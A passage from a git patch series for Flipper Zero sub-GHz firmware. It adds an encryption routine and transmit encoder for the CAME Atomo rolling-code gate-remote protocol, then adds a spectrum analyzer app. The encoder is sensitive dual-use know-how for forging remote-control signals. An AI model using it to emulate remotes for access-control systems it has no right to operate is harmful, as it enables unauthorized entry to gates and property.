= 0x1;} if(btn_decode == 0x2) {instance->btn = 0x2;} if(btn_decode == 0x4) {instance->btn = 0x3;} - if(btn_decode == 0x6) {instance->btn = 0x4;} + if(btn_decode == 0x6) {instance->btn = 0x4;} + hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3]; + lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7]; + instance->data = (uint64_t)hi << 32 | lo; +} + +void atomo_encrypt(uint8_t *buff) { + uint8_t tmpB = (~buff[0]+1) & 0x7F; + + uint8_t bitCnt = 8; + while (bitCnt < 59) { + if ( (tmpB & 0x18) && ( ((tmpB / 8) & 3) != 3 ) ) { + tmpB = ((tmpB << 1) & 0xFF) | 1; + } else { + tmpB = (tmpB << 1) & 0xFF; + } + + if ( tmpB & 0x80 ) { + buff[bitCnt/8] ^= (0x80 >> (bitCnt & 7)); + } + + bitCnt++; + } + + buff[0] = ( buff[0] ^ 5 ) & 0x7F; } void atomo_decrypt(uint8_t *buff) { @@ -275,17 +453,6 @@ void atomo_decrypt(uint8_t *buff) { bitCnt++; } - - // buff[6] &= 0xFD; - // buff[6] &= 0xFE; - // buff[7] &= 0x7F; - // buff[7] &= 0xEF; - - // buff[7] = buff[7] & 0xBF; - // buff[7] = buff[7] & 0xDF; - - // clear btn - //buff[7] = buff[7] & 0x9F; } uint8_t subghz_protocol_decoder_came_atomo_get_hash_data(void* context) { diff --git a/lib/subghz/protocols/came_atomo.h b/lib/subghz/protocols/came_atomo.h index 162bd60b1..e4972f63e 100644 --- a/lib/subghz/protocols/came_atomo.h +++ b/lib/subghz/protocols/came_atomo.h @@ -12,6 +12,43 @@ extern const SubGhzProtocol subghz_protocol_came_atomo; void atomo_decrypt(uint8_t *buff); +void atomo_encrypt(uint8_t *buff); + +/** + * Allocate SubGhzProtocolEncoderCameAtomo. + * @param environment Pointer to a SubGhzEnvironment instance + * @return SubGhzProtocolEncoderCameAtomo* pointer to a SubGhzProtocolEncoderCameAtomo instance + */ +void* subghz_protocol_encoder_came_atomo_alloc(SubGhzEnvironment* environment); + +/** + * Free SubGhzProtocolEncoderCameAtomo. + * @param context Pointer to a SubGhzProtocolEncoderCameAtomo instance + */ +void subghz_protocol_encoder_came_atomo_free(void* context); + +/** + * Deserialize and generating an upload to send. + * @param context Pointer to a SubGhzProtocolEncoderCameAtomo instance + * @param flipper_format Pointer to a FlipperFormat instance + * @return true On success + */ +bool subghz_protocol_encoder_came_atomo_deserialize(void* context, FlipperFormat* flipper_format); + +/** + * Forced transmission stop. + * @param context Pointer to a SubGhzProtocolEncoderCameAtomo instance + */ +void subghz_protocol_encoder_came_atomo_stop(void* context); + +/** + * Getting the level and duration of the upload to be loaded into DMA. + * @param context Pointer to a SubGhzProtocolEncoderCameAtomo instance + * @return LevelDuration + */ +LevelDuration subghz_protocol_encoder_came_atomo_yield(void* context); + + /** * Allocate SubGhzProtocolDecoderCameAtomo. * @param environment Pointer to a SubGhzEnvironment instance From a9d06393acbfc8d52ed90aec174632d22257ede9 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sun, 5 Jun 2022 12:35:26 +0300 Subject: [PATCH 280/461] Update came_atomo.c temp fix encoder size --- lib/subghz/protocols/came_atomo.c | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/lib/subghz/protocols/came_atomo.c b/lib/subghz/protocols/came_atomo.c index 1c68ec331..fefa74e0f 100644 --- a/lib/subghz/protocols/came_atomo.c +++ b/lib/subghz/protocols/came_atomo.c @@ -79,7 +79,7 @@ void* subghz_protocol_encoder_came_atomo_alloc(SubGhzEnvironment* environment) { instance->generic.protocol_name = instance->base.protocol->name; instance->encoder.repeat = 10; - instance->encoder.size_upload = 16384; //(64 * 2) * 128 + instance->encoder.size_upload = 256; instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration)); instance->encoder.is_runing = false; return instance; @@ -139,9 +139,7 @@ static void subghz_protocol_encoder_came_atomo_get_upload(SubGhzProtocolEncoderC pack[4] = ((instance->generic.data >> 24) & 0xFF); pack[5] = ((instance->generic.data >> 16) & 0xFF); pack[6] = ((instance->generic.data >> 8) & 0xFF); pack[7] = (instance->generic.data & 0xFF); FURI_LOG_I(TAG, "encoder prepared: %02X %02X %02X %02X %02X %02X %02X %02X\n", pack[0], pack[1], pack[2], pack[3], pack[4], pack[5], pack[6], pack[7]); - - for(int i = 0; i <= 0x7F; i++) { - pack[0] = i; + atomo_encrypt(pack); uint32_t hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3]; uint32_t lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7]; @@ -170,7 +168,7 @@ static void subghz_protocol_encoder_came_atomo_get_upload(SubGhzProtocolEncoderC //pause instance->encoder.upload[index++] = level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_long * 60); - } + instance->encoder.size_upload = index; } From 4318931c8714a44a33a7a518fd1602f47a41e646 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sun, 5 Jun 2022 13:00:24 +0300 Subject: [PATCH 281/461] Update came_atomo.c dumb transmition, need to fix encoder params --- lib/subghz/protocols/came_atomo.c | 2 -- 1 file changed, 2 deletions(-) diff --git a/lib/subghz/protocols/came_atomo.c b/lib/subghz/protocols/came_atomo.c index fefa74e0f..a14fe30ff 100644 --- a/lib/subghz/protocols/came_atomo.c +++ b/lib/subghz/protocols/came_atomo.c @@ -132,8 +132,6 @@ static void subghz_protocol_encoder_came_atomo_get_upload(SubGhzProtocolEncoderC manchester_encoder_reset(&enc_state); ManchesterEncoderResult result; - instance->generic.cnt++; - uint8_t pack[8] = {}; pack[0] = (instance->generic.data >> 56); pack[1] = ((instance->generic.data >> 48) & 0xFF); pack[2] = ((instance->generic.data >> 40) & 0xFF); pack[3] = ((instance->generic.data >> 32) & 0xFF); pack[4] = ((instance->generic.data >> 24) & 0xFF); pack[5] = ((instance->generic.data >> 16) & 0xFF); pack[6] = ((instance->generic.data >> 8) & 0xFF); pack[7] = (instance->generic.data & 0xFF); From 42bf635ab369d1613d3b9c44e0aa1ef74bcb768c Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sun, 5 Jun 2022 17:02:32 +0300 Subject: [PATCH 282/461] data_2 in generic for Atomo protocol split data concept for such case --- lib/subghz/blocks/generic.h | 1 + lib/subghz/protocols/came_atomo.c | 6 +++--- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/lib/subghz/blocks/generic.h b/lib/subghz/blocks/generic.h index 86fdd5c39..05e9b3e0a 100644 --- a/lib/subghz/blocks/generic.h +++ b/lib/subghz/blocks/generic.h @@ -13,6 +13,7 @@ typedef struct SubGhzBlockGeneric SubGhzBlockGeneric; struct SubGhzBlockGeneric { const char* protocol_name; uint64_t data; + uint64_t data_2; uint32_t serial; uint8_t data_count_bit; uint8_t btn; diff --git a/lib/subghz/protocols/came_atomo.c b/lib/subghz/protocols/came_atomo.c index a14fe30ff..de6f20d75 100644 --- a/lib/subghz/protocols/came_atomo.c +++ b/lib/subghz/protocols/came_atomo.c @@ -133,8 +133,8 @@ static void subghz_protocol_encoder_came_atomo_get_upload(SubGhzProtocolEncoderC ManchesterEncoderResult result; uint8_t pack[8] = {}; - pack[0] = (instance->generic.data >> 56); pack[1] = ((instance->generic.data >> 48) & 0xFF); pack[2] = ((instance->generic.data >> 40) & 0xFF); pack[3] = ((instance->generic.data >> 32) & 0xFF); - pack[4] = ((instance->generic.data >> 24) & 0xFF); pack[5] = ((instance->generic.data >> 16) & 0xFF); pack[6] = ((instance->generic.data >> 8) & 0xFF); pack[7] = (instance->generic.data & 0xFF); + pack[0] = (instance->generic.data_2 >> 56); pack[1] = ((instance->generic.data_2 >> 48) & 0xFF); pack[2] = ((instance->generic.data_2 >> 40) & 0xFF); pack[3] = ((instance->generic.data_2 >> 32) & 0xFF); + pack[4] = ((instance->generic.data_2 >> 24) & 0xFF); pack[5] = ((instance->generic.data_2 >> 16) & 0xFF); pack[6] = ((instance->generic.data_2 >> 8) & 0xFF); pack[7] = (instance->generic.data_2 & 0xFF); FURI_LOG_I(TAG, "encoder prepared: %02X %02X %02X %02X %02X %02X %02X %02X\n", pack[0], pack[1], pack[2], pack[3], pack[4], pack[5], pack[6], pack[7]); @@ -407,7 +407,7 @@ static void subghz_protocol_came_atomo_remote_controller( if(btn_decode == 0x6) {instance->btn = 0x4;} hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3]; lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7]; - instance->data = (uint64_t)hi << 32 | lo; + instance->data_2 = (uint64_t)hi << 32 | lo; } void atomo_encrypt(uint8_t *buff) { From 78de90d4296bdafd133ce22b3f5e7fe1d9ed3112 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Mon, 6 Jun 2022 16:25:46 +0300 Subject: [PATCH 283/461] Update came_atomo.c invert data to upload --- lib/subghz/protocols/came_atomo.c | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/lib/subghz/protocols/came_atomo.c b/lib/subghz/protocols/came_atomo.c index de6f20d75..fde88de89 100644 --- a/lib/subghz/protocols/came_atomo.c +++ b/lib/subghz/protocols/came_atomo.c @@ -143,6 +143,12 @@ static void subghz_protocol_encoder_came_atomo_get_upload(SubGhzProtocolEncoderC uint32_t lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7]; instance->generic.data = (uint64_t)hi << 32 | lo; FURI_LOG_I(TAG, "encrypted data: %02X %02X %02X %02X %02X %02X %02X %02X\n", pack[0], pack[1], pack[2], pack[3], pack[4], pack[5], pack[6], pack[7]); + + uint64_t invert = instance->generic.data ^ 0xFFFFFFFFFFFFFFFF; + hi = invert >> 32; + lo = invert & 0xFFFFFFFF; + FURI_LOG_I(TAG, "inverted to upload: %02X %02X %02X %02X %02X %02X %02X %02X\n", (hi >> 24), ((hi >> 16) & 0xFF), ((hi >> 8) & 0xFF), (hi & 0xFF), + (lo >> 24), ((lo >> 16) & 0xFF), ((lo >> 8) & 0xFF), (lo & 0xFF)); //Send start bits Atomo instance->encoder.upload[index++] = level_duration_make(true, (uint32_t)subghz_protocol_came_atomo_const.te_long); @@ -150,10 +156,10 @@ static void subghz_protocol_encoder_came_atomo_get_upload(SubGhzProtocolEncoderC level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_short); for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) { - if(!manchester_encoder_advance(&enc_state, !bit_read(instance->generic.data, i - 1), &result)) { + if(!manchester_encoder_advance(&enc_state, !bit_read(invert, i - 1), &result)) { instance->encoder.upload[index++] = subghz_protocol_encoder_came_atomo_add_duration_to_upload(result); - manchester_encoder_advance(&enc_state, !bit_read(instance->generic.data, i - 1), &result); + manchester_encoder_advance(&enc_state, !bit_read(invert, i - 1), &result); } instance->encoder.upload[index++] = subghz_protocol_encoder_came_atomo_add_duration_to_upload(result); @@ -165,7 +171,7 @@ static void subghz_protocol_encoder_came_atomo_get_upload(SubGhzProtocolEncoderC } //pause instance->encoder.upload[index++] = - level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_long * 60); + level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_long * 57); instance->encoder.size_upload = index; } From ce8c491291d48942f30cc04bae3c86a43d8b6069 Mon Sep 17 00:00:00 2001 From: Eng1n33r Date: Mon, 6 Jun 2022 17:20:46 +0300 Subject: [PATCH 284/461] add spectrum analyzer --- applications/applications.c | 9 + applications/applications.mk | 6 + .../spectrum_analyzer/spectrum_analyzer.c | 459 ++++++++++++++++++ .../spectrum_analyzer/spectrum_analyzer.h | 66 +++ .../spectrum_analyzer_worker.c | 195 ++++++++ .../spectrum_analyzer_worker.h | 33 ++ assets/compiled/assets_icons.c | 9 + assets/compiled/assets_icons.h | 1 + .../MainMenu/SpectrumAnalyzer_14/frame_0.png | Bin 0 -> 173 bytes .../MainMenu/SpectrumAnalyzer_14/frame_1.png | Bin 0 -> 168 bytes .../MainMenu/SpectrumAnalyzer_14/frame_2.png | Bin 0 -> 157 bytes .../MainMenu/SpectrumAnalyzer_14/frame_3.png | Bin 0 -> 114 bytes .../MainMenu/SpectrumAnalyzer_14/frame_4.png | Bin 0 -> 121 bytes .../MainMenu/SpectrumAnalyzer_14/frame_5.png | Bin 0 -> 150 bytes .../MainMenu/SpectrumAnalyzer_14/frame_rate | 1 + assets/resources/Manifest | 4 +- assets/resources/subghz/assets/setting_user | 2 - 17 files changed, 781 insertions(+), 4 deletions(-) create mode 100644 applications/spectrum_analyzer/spectrum_analyzer.c create mode 100644 applications/spectrum_analyzer/spectrum_analyzer.h create mode 100644 applications/spectrum_analyzer/spectrum_analyzer_worker.c create mode 100644 applications/spectrum_analyzer/spectrum_analyzer_worker.h create mode 100644 assets/icons/MainMenu/SpectrumAnalyzer_14/frame_0.png create mode 100644 assets/icons/MainMenu/SpectrumAnalyzer_14/frame_1.png create mode 100644 assets/icons/MainMenu/SpectrumAnalyzer_14/frame_2.png create mode 100644 assets/icons/MainMenu/SpectrumAnalyzer_14/frame_3.png create mode 100644 assets/icons/MainMenu/SpectrumAnalyzer_14/frame_4.png create mode 100644 assets/icons/MainMenu/SpectrumAnalyzer_14/frame_5.png create mode 100644 assets/icons/MainMenu/SpectrumAnalyzer_14/frame_rate diff --git a/applications/applications.c b/applications/applications.c index 0b1278647..247c601c5 100644 --- a/applications/applications.c +++ b/applications/applications.c @@ -51,6 +51,7 @@ extern int32_t music_player_app(void* p); extern int32_t wav_player_app(void* p); extern int32_t clock_app(void *p); extern int32_t unirfremix_app(void *p); +extern int32_t spectrum_analyzer_app(void* p); // Games extern int32_t snake_game_app(void* p); @@ -236,6 +237,14 @@ const FlipperApplication FLIPPER_APPS[] = { .flags = FlipperApplicationFlagDefault}, #endif +#ifdef APP_SPECTRUM_ANALYZER + {.app = spectrum_analyzer_app, + .name = "Spectrum Analyzer", + .stack_size = 1024, + .icon = &A_SpectrumAnalyzer_14, + .flags = FlipperApplicationFlagDefault}, +#endif + #ifdef APP_LF_RFID {.app = lfrfid_app, .name = "125 kHz RFID", diff --git a/applications/applications.mk b/applications/applications.mk index 8cefbd3e4..60a339bdf 100644 --- a/applications/applications.mk +++ b/applications/applications.mk @@ -47,6 +47,7 @@ APP_UPDATER = 1 # Custom apps APP_UNIRFREMIX = 1 APP_CLOCK = 1 +APP_SPECTRUM_ANALYZER = 1 # Plugins APP_MUSIC_PLAYER = 1 @@ -271,6 +272,11 @@ SRV_GUI = 1 SRV_CLI = 0 endif +APP_SPECTRUM_ANALYZER ?= 0 +ifeq ($(APP_SPECTRUM_ANALYZER), 1) +CFLAGS += -DAPP_SPECTRUM_ANALYZER +SRV_GUI = 1 +endif APP_IBUTTON ?= 0 ifeq ($(APP_IBUTTON), 1) diff --git a/applications/spectrum_analyzer/spectrum_analyzer.c b/applications/spectrum_analyzer/spectrum_analyzer.c new file mode 100644 index 000000000..508e3ea62 --- /dev/null +++ b/applications/spectrum_analyzer/spectrum_analyzer.c @@ -0,0 +1,459 @@ +#include +#include + +#include +#include +#include +#include "spectrum_analyzer.h" + +#include + +#include +#include "spectrum_analyzer_worker.h" + +typedef struct { + uint16_t center_freq; + uint8_t width; + uint8_t band; + uint8_t vscroll; + + uint32_t channel0_frequency; + uint32_t spacing; + + float max_rssi; + uint8_t max_rssi_dec; + uint8_t max_rssi_channel; + uint8_t channel_ss[NUM_CHANNELS]; +} SpectrumAnalyzerModel; + +typedef struct { + SpectrumAnalyzerModel* model; + osMutexId_t* model_mutex; + + osMessageQueueId_t event_queue; + + ViewPort* view_port; + Gui* gui; + + SpectrumAnalyzerWorker* worker; +} SpectrumAnalyzer; + +void spectrum_analyzer_draw_scale(Canvas* canvas, const SpectrumAnalyzerModel* model) { + // Draw line + canvas_draw_line( + canvas, FREQ_START_X, FREQ_BOTTOM_Y, FREQ_START_X + FREQ_LENGTH_X, FREQ_BOTTOM_Y); + // Draw minor scale + for(int i = FREQ_START_X; i < FREQ_START_X + FREQ_LENGTH_X; i += 5) { + canvas_draw_line(canvas, i, FREQ_BOTTOM_Y, i, FREQ_BOTTOM_Y + 2); + } + // Draw major scale + for(int i = FREQ_START_X; i < FREQ_START_X + FREQ_LENGTH_X; i += 25) { + canvas_draw_line(canvas, i, FREQ_BOTTOM_Y, i, FREQ_BOTTOM_Y + 4); + } + + // Draw scale tags + uint16_t tag_left; + uint16_t tag_center; + uint16_t tag_right; + char temp_str[18]; + + tag_center = model->center_freq; + + switch(model->width) { + case NARROW: + tag_left = model->center_freq - 2; + tag_right = model->center_freq + 2; + break; + case ULTRAWIDE: + tag_left = model->center_freq - 40; + tag_right = model->center_freq + 40; + break; + default: + tag_left = model->center_freq - 10; + tag_right = model->center_freq + 10; + } + + canvas_set_font(canvas, FontSecondary); + snprintf(temp_str, 18, "%u", tag_left); + canvas_draw_str_aligned(canvas, FREQ_START_X, 63, AlignCenter, AlignBottom, temp_str); + snprintf(temp_str, 18, "%u", tag_center); + canvas_draw_str_aligned(canvas, 128 / 2, 63, AlignCenter, AlignBottom, temp_str); + snprintf(temp_str, 18, "%u", tag_right); + canvas_draw_str_aligned( + canvas, FREQ_START_X + FREQ_LENGTH_X - 1, 63, AlignCenter, AlignBottom, temp_str); +} + +static void spectrum_analyzer_render_callback(Canvas* const canvas, void* ctx) { + SpectrumAnalyzer* spectrum_analyzer = ctx; + furi_check(osMutexAcquire(spectrum_analyzer->model_mutex, osWaitForever) == osOK); + + SpectrumAnalyzerModel* model = spectrum_analyzer->model; + + spectrum_analyzer_draw_scale(canvas, model); + + for(uint8_t column = 0; column < 128; column++) { + uint8_t ss = model->channel_ss[column + 2]; + // Compress height to max of 64 values (255>>2) + uint8_t s = MAX((ss - model->vscroll) >> 2, 0); + uint8_t y = FREQ_BOTTOM_Y - s; // bar height + + // Draw each bar + canvas_draw_line(canvas, column, FREQ_BOTTOM_Y, column, y); + } + + // Draw cross and label + if(model->max_rssi > PEAK_THRESHOLD) { + // Compress height to max of 64 values (255>>2) + uint8_t max_y = MAX((model->max_rssi_dec - model->vscroll) >> 2, 0); + max_y = (FREQ_BOTTOM_Y - max_y); + + // Cross + int16_t x1, x2, y1, y2; + x1 = model->max_rssi_channel - 2 - 2; + if(x1 < 0) x1 = 0; + y1 = max_y - 2; + if(y1 < 0) y1 = 0; + x2 = model->max_rssi_channel - 2 + 2; + if(x2 > 127) x2 = 127; + y2 = max_y + 2; + if(y2 > 63) y2 = 63; // SHOULD NOT HAPPEN CHECK! + canvas_draw_line(canvas, x1, y1, x2, y2); + + x1 = model->max_rssi_channel - 2 + 2; + if(x1 > 127) x1 = 127; + y1 = max_y - 2; + if(y1 < 0) y1 = 0; + x2 = model->max_rssi_channel - 2 - 2; + if(x2 < 0) x2 = 0; + y2 = max_y + 2; + if(y2 > 63) y2 = 63; // SHOULD NOT HAPPEN CHECK! + canvas_draw_line(canvas, (uint8_t)x1, (uint8_t)y1, (uint8_t)x2, (uint8_t)y2); + + // Label + char temp_str[36]; + snprintf( + temp_str, + 36, + "Peak: %3.2f Mhz %3.1f dbm", + ((double)(model->channel0_frequency + (model->max_rssi_channel * model->spacing)) / + 1000000), + (double) model->max_rssi); + canvas_draw_str_aligned(canvas, 127, 0, AlignRight, AlignTop, temp_str); + } + + osMutexRelease(spectrum_analyzer->model_mutex); + + // FURI_LOG_D("Spectrum", "model->vscroll %u", model->vscroll); +} + +static void spectrum_analyzer_input_callback(InputEvent* input_event, void* ctx) { + SpectrumAnalyzer* spectrum_analyzer = ctx; + // Only handle short presses + if(input_event->type == InputTypeShort) { + osMessageQueuePut(spectrum_analyzer->event_queue, input_event, 0, osWaitForever); + } +} + +static void spectrum_analyzer_worker_callback( + void* channel_ss, + float max_rssi, + uint8_t max_rssi_dec, + uint8_t max_rssi_channel, + void* context) { + SpectrumAnalyzer* spectrum_analyzer = context; + furi_check(osMutexAcquire(spectrum_analyzer->model_mutex, osWaitForever) == osOK); + + SpectrumAnalyzerModel* model = (SpectrumAnalyzerModel*)spectrum_analyzer->model; + memcpy(model->channel_ss, (uint8_t*)channel_ss, sizeof(uint8_t) * NUM_CHANNELS); + model->max_rssi = max_rssi; + model->max_rssi_dec = max_rssi_dec; + model->max_rssi_channel = max_rssi_channel; + + osMutexRelease(spectrum_analyzer->model_mutex); + view_port_update(spectrum_analyzer->view_port); +} + +void spectrum_analyzer_calculate_frequencies(SpectrumAnalyzerModel* model) { + // REDO ALL THIS. CALCULATE ONLY WITH SPACING! + + uint8_t new_band; + uint32_t min_hz; + uint32_t max_hz; + uint8_t margin; + uint8_t step; + uint16_t upper_limit; + uint16_t lower_limit; + uint16_t next_up; + uint16_t next_down; + uint8_t next_band_up; + uint8_t next_band_down; + + switch(model->width) { + case NARROW: + margin = NARROW_MARGIN; + step = NARROW_STEP; + model->spacing = NARROW_SPACING; + break; + case ULTRAWIDE: + margin = ULTRAWIDE_MARGIN; + step = ULTRAWIDE_STEP; + model->spacing = ULTRAWIDE_SPACING; + /* nearest 20 MHz step */ + model->center_freq = ((model->center_freq + 10) / 20) * 20; + break; + default: + margin = WIDE_MARGIN; + step = WIDE_STEP; + model->spacing = WIDE_SPACING; + /* nearest 5 MHz step */ + model->center_freq = ((model->center_freq + 2) / 5) * 5; + break; + } + + /* handle cases near edges of bands */ + if(model->center_freq > EDGE_900) { + new_band = BAND_900; + upper_limit = UPPER(MAX_900, margin, step); + lower_limit = LOWER(MIN_900, margin, step); + next_up = LOWER(MIN_300, margin, step); + next_down = UPPER(MAX_400, margin, step); + next_band_up = BAND_300; + next_band_down = BAND_400; + } else if(model->center_freq > EDGE_400) { + new_band = BAND_400; + upper_limit = UPPER(MAX_400, margin, step); + lower_limit = LOWER(MIN_400, margin, step); + next_up = LOWER(MIN_900, margin, step); + next_down = UPPER(MAX_300, margin, step); + next_band_up = BAND_900; + next_band_down = BAND_300; + } else { + new_band = BAND_300; + upper_limit = UPPER(MAX_300, margin, step); + lower_limit = LOWER(MIN_300, margin, step); + next_up = LOWER(MIN_400, margin, step); + next_down = UPPER(MAX_900, margin, step); + next_band_up = BAND_400; + next_band_down = BAND_900; + } + + if(model->center_freq > upper_limit) { + model->center_freq = upper_limit; + if(new_band == model->band) { + new_band = next_band_up; + model->center_freq = next_up; + } + } else if(model->center_freq < lower_limit) { + model->center_freq = lower_limit; + if(new_band == model->band) { + new_band = next_band_down; + model->center_freq = next_down; + } + } + + model->band = new_band; + /* doing everything in Hz from here on */ + switch(model->band) { + case BAND_400: + min_hz = MIN_400 * 1000000; + max_hz = MAX_400 * 1000000; + break; + case BAND_300: + min_hz = MIN_300 * 1000000; + max_hz = MAX_300 * 1000000; + break; + default: + min_hz = MIN_900 * 1000000; + max_hz = MAX_900 * 1000000; + break; + } + + model->channel0_frequency = + model->center_freq * 1000000 - (model->spacing * ((NUM_CHANNELS / 2) + 1)); + + // /* calibrate upper channels */ + // hz = model->center_freq * 1000000; + // max_chan = NUM_CHANNELS / 2; + // while (hz <= max_hz && max_chan < NUM_CHANNELS) { + // instance->chan_table[max_chan].frequency = hz; + // FURI_LOG_T("Spectrum", "calibrate_freq ch[%u]: %lu", max_chan, hz); + // hz += model->spacing; + // max_chan++; + // } + + // /* calibrate lower channels */ + // hz = instance->freq * 1000000 - model->spacing; + // min_chan = NUM_CHANNELS / 2; + // while (hz >= min_hz && min_chan > 0) { + // min_chan--; + // instance->chan_table[min_chan].frequency = hz; + // FURI_LOG_T("Spectrum", "calibrate_freq ch[%u]: %lu", min_chan, hz); + // hz -= model->spacing; + // } + + model->max_rssi = -200.0; + model->max_rssi_dec = 0; + + FURI_LOG_D("Spectrum", "setup_frequencies - max_hz: %u - min_hz: %u", max_hz, min_hz); + FURI_LOG_D("Spectrum", "center_freq: %u", model->center_freq); + FURI_LOG_D( + "Spectrum", + "ch[0]: %lu - ch[%u]: %lu", + model->channel0_frequency, + NUM_CHANNELS - 1, + model->channel0_frequency + ((NUM_CHANNELS - 1) * model->spacing)); +} + +SpectrumAnalyzer* spectrum_analyzer_alloc() { + SpectrumAnalyzer* instance = malloc(sizeof(SpectrumAnalyzer)); + instance->model = malloc(sizeof(SpectrumAnalyzerModel)); + + SpectrumAnalyzerModel* model = instance->model; + + for(uint8_t ch = 0; ch < NUM_CHANNELS - 1; ch++) { + model->channel_ss[ch] = 0; + } + model->max_rssi_dec = 0; + model->max_rssi_channel = 0; + model->max_rssi = PEAK_THRESHOLD - 1; // Should initializar to < PEAK_THRESHOLD + + model->center_freq = DEFAULT_FREQ; + model->width = WIDE; + model->band = BAND_400; + + model->vscroll = DEFAULT_VSCROLL; + + instance->model_mutex = osMutexNew(NULL); + instance->event_queue = osMessageQueueNew(8, sizeof(InputEvent), NULL); + + instance->worker = spectrum_analyzer_worker_alloc(); + + spectrum_analyzer_worker_set_callback( + instance->worker, spectrum_analyzer_worker_callback, instance); + + // Set system callbacks + instance->view_port = view_port_alloc(); + view_port_draw_callback_set(instance->view_port, spectrum_analyzer_render_callback, instance); + view_port_input_callback_set(instance->view_port, spectrum_analyzer_input_callback, instance); + + // Open GUI and register view_port + instance->gui = furi_record_open("gui"); + gui_add_view_port(instance->gui, instance->view_port, GuiLayerFullscreen); + + return instance; +} + +void spectrum_analyzer_free(SpectrumAnalyzer* instance) { + // view_port_enabled_set(view_port, false); + gui_remove_view_port(instance->gui, instance->view_port); + furi_record_close("gui"); + view_port_free(instance->view_port); + + spectrum_analyzer_worker_free(instance->worker); + + osMessageQueueDelete(instance->event_queue); + + osMutexDelete(instance->model_mutex); + + free(instance->model); + free(instance); + + furi_hal_subghz_idle(); + furi_hal_subghz_sleep(); +} + +int32_t spectrum_analyzer_app(void* p) { + UNUSED(p); + + SpectrumAnalyzer* spectrum_analyzer = spectrum_analyzer_alloc(); + InputEvent input; + + FURI_LOG_D("Spectrum", "Main Loop - Starting worker"); + furi_hal_delay_ms(50); + + spectrum_analyzer_worker_start(spectrum_analyzer->worker); + + FURI_LOG_D("Spectrum", "Main Loop - Wait on queue"); + furi_hal_delay_ms(50); + + while(osMessageQueueGet(spectrum_analyzer->event_queue, &input, NULL, osWaitForever) == osOK) { + furi_check(osMutexAcquire(spectrum_analyzer->model_mutex, osWaitForever) == osOK); + + FURI_LOG_D("Spectrum", "Main Loop - Input: %u", input.key); + + SpectrumAnalyzerModel* model = spectrum_analyzer->model; + + uint8_t vstep = VERTICAL_SHORT_STEP; + uint8_t hstep; + + bool exit_loop = false; + + switch(model->width) { + case NARROW: + hstep = NARROW_STEP; + break; + case ULTRAWIDE: + hstep = ULTRAWIDE_STEP; + break; + default: + hstep = WIDE_STEP; + break; + } + + switch(input.key) { + case InputKeyUp: + model->vscroll = MAX(model->vscroll - vstep, MIN_VSCROLL); + FURI_LOG_D("Spectrum", "Vscroll: %u", model->vscroll); + break; + case InputKeyDown: + model->vscroll = MIN(model->vscroll + vstep, MAX_VSCROLL); + FURI_LOG_D("Spectrum", "Vscroll: %u", model->vscroll); + break; + case InputKeyRight: + model->center_freq += hstep; + FURI_LOG_D("Spectrum", "center_freq: %lu", model->center_freq); + spectrum_analyzer_calculate_frequencies(model); + spectrum_analyzer_worker_set_frequencies( + spectrum_analyzer->worker, model->channel0_frequency, model->spacing, model->width); + break; + case InputKeyLeft: + model->center_freq -= hstep; + spectrum_analyzer_calculate_frequencies(model); + spectrum_analyzer_worker_set_frequencies( + spectrum_analyzer->worker, model->channel0_frequency, model->spacing, model->width); + FURI_LOG_D("Spectrum", "center_freq: %lu", model->center_freq); + break; + case InputKeyOk: { + switch(model->width) { + case WIDE: + model->width = NARROW; + break; + case NARROW: + model->width = ULTRAWIDE; + break; + case ULTRAWIDE: + default: + model->width = WIDE; + } + } + spectrum_analyzer_calculate_frequencies(model); + spectrum_analyzer_worker_set_frequencies( + spectrum_analyzer->worker, model->channel0_frequency, model->spacing, model->width); + FURI_LOG_D("Spectrum", "Width: %u", model->width); + break; + case InputKeyBack: + exit_loop = true; + break; + } + + osMutexRelease(spectrum_analyzer->model_mutex); + view_port_update(spectrum_analyzer->view_port); + if(exit_loop == true) break; + } + + spectrum_analyzer_worker_stop(spectrum_analyzer->worker); + + spectrum_analyzer_free(spectrum_analyzer); + + return 0; +} \ No newline at end of file diff --git a/applications/spectrum_analyzer/spectrum_analyzer.h b/applications/spectrum_analyzer/spectrum_analyzer.h new file mode 100644 index 000000000..74e135fcf --- /dev/null +++ b/applications/spectrum_analyzer/spectrum_analyzer.h @@ -0,0 +1,66 @@ +#define NUM_CHANNELS 132 + +// Screen coordinates +#define FREQ_BOTTOM_Y 50 +#define FREQ_START_X 14 +// How many channels displayed on the scale (On screen still 218) +#define FREQ_LENGTH_X 102 +// dBm threshold to show peak value +#define PEAK_THRESHOLD -85 + +/* + * ultrawide mode: 80 MHz on screen, 784 kHz per channel + * wide mode (default): 20 MHz on screen, 196 kHz per channel + * narrow mode: 4 MHz on screen, 39 kHz per channel + */ +#define WIDE 0 +#define NARROW 1 +#define ULTRAWIDE 2 + +/* channel spacing in Hz */ +#define WIDE_SPACING 196078 +#define NARROW_SPACING 39215 +#define ULTRAWIDE_SPACING 784313 + +/* vertical scrolling */ +#define VERTICAL_SHORT_STEP 16 +#define MAX_VSCROLL 120 +#define MIN_VSCROLL 0 +#define DEFAULT_VSCROLL 48 + +/* frequencies in MHz */ +#define DEFAULT_FREQ 440 +#define WIDE_STEP 5 +#define NARROW_STEP 1 +#define ULTRAWIDE_STEP 20 +#define WIDE_MARGIN 13 +#define NARROW_MARGIN 3 +#define ULTRAWIDE_MARGIN 42 + +/* frequency bands supported by device */ +#define BAND_300 0 +#define BAND_400 1 +#define BAND_900 2 + +/* band limits in 